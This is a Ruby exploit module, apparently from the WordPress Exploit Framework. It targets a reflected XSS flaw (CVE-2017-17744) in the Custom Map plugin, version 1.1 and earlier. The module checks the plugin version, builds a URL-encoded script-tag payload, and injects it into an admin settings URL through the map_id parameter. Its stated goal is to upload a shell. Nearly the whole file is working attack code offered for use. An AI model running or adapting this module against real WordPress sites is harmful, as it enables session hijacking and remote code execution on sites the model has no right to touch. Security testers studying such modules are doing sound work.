# frozen_string_literal: true

class Wpxf::Exploit::CustomMapReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Custom Map <= 1.1 Reflected XSS Shell Upload',
      author: [
        'Nicolas Buzy-Debat', # Discovery
        'rastating'           # WPXF module
      ],
      references: [
        ['CVE', '2017-17744'],
        ['WPVDB', '8982'],
        ['URL', 'http://seclists.org/fulldisclosure/2017/Dec/72']
      ],
      date: 'Dec 19 2017'
    )
  end

  def check
    check_plugin_version_from_readme('custom-map', '1.1.1')
  end

  def xss_payload
    url_encode("<script>#{xss_ascii_encoded_include_script}</script>")
  end

  def url_with_xss
    "#{wordpress_url_admin_options}?page=custom_maps_advanced_settings&map_id=#{xss_payload}"
  end
end
